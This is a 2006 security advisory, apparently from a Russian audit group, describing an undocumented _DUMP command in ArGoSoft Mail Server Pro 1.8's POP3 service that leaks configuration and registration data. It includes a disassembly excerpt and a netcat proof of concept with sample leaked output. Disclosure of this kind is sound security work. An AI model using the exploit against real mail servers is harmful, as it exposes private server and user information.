NSA Group Security Advisory NSAG-№198-23.02.2006 Vulnerability ArGoSoft Mail Server Pro

Advisory:
NSAG-№201-24.02.2006

Research:
NSA Group [Russian company on Audit of safety & Network security]

Site of Research:
http://www.nsag.ru or http://www.nsag.org

Product:
ArGoSoft Mail Server Pro 1.8 POP

Site of manufacturer:
www.argosoft.com

The status:
19/11/2005 - Publication is postponed.
19/11/2005 - Manufacturer is notified.
16/02/2006 - Answer of the manufacturer is absent.
16/02/2006 - Publication of vulnerability.

Original Advisory:
http://www.nsag.ru/vuln/879.html

Risk:
Hide

Description:
Executed a command _DUMP, user gets access to the private information.

Influence:
Removed user gets access to a configuration of the server, the established system,
the registration information and registration records of users.

The Site of a code in which the given command has been found:

++++++++++++++++ Disassembler listing +++++++++++++++++++
CODE:0051AF65
D_DUMP: ; CODE XREF:
D_POP3+F10j
CODE:0051AF65 lea edx, [ebp+var_144]
CODE:0051AF6B mov eax, [ebp+var_8]
CODE:0051AF6E call sub_409DE0
CODE:0051AF73 mov eax, [ebp+var_144]
CODE:0051AF79 mov edx, offset a_dump; "_DUMP"
CODE:0051AF7E call sub_405908
++++++++++++++++++++++++++++++++++++++++++++++++

Exploit:
M: \> nc.exe 192.168.1.1 110
+OK ArGoSoft Mail Server Pro for WinNT/2000/XP, Version 1.8 (1.8.8.1)
_DUMP
The Cut down result of performance:
+OK Information Follows
OS = Microsoft Windows 2000 Professional Service Pack 4 (Build 2195)
RegUserName = UserTester
RegCode = 917RCG790087CY4E

More information:
http://www.nsag.ru/vuln/879.html

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At present independent audit of the software becomes the standard practice
and we suggest to make a let out product as much as possible protected from a various sort of attacks
of malefactors!

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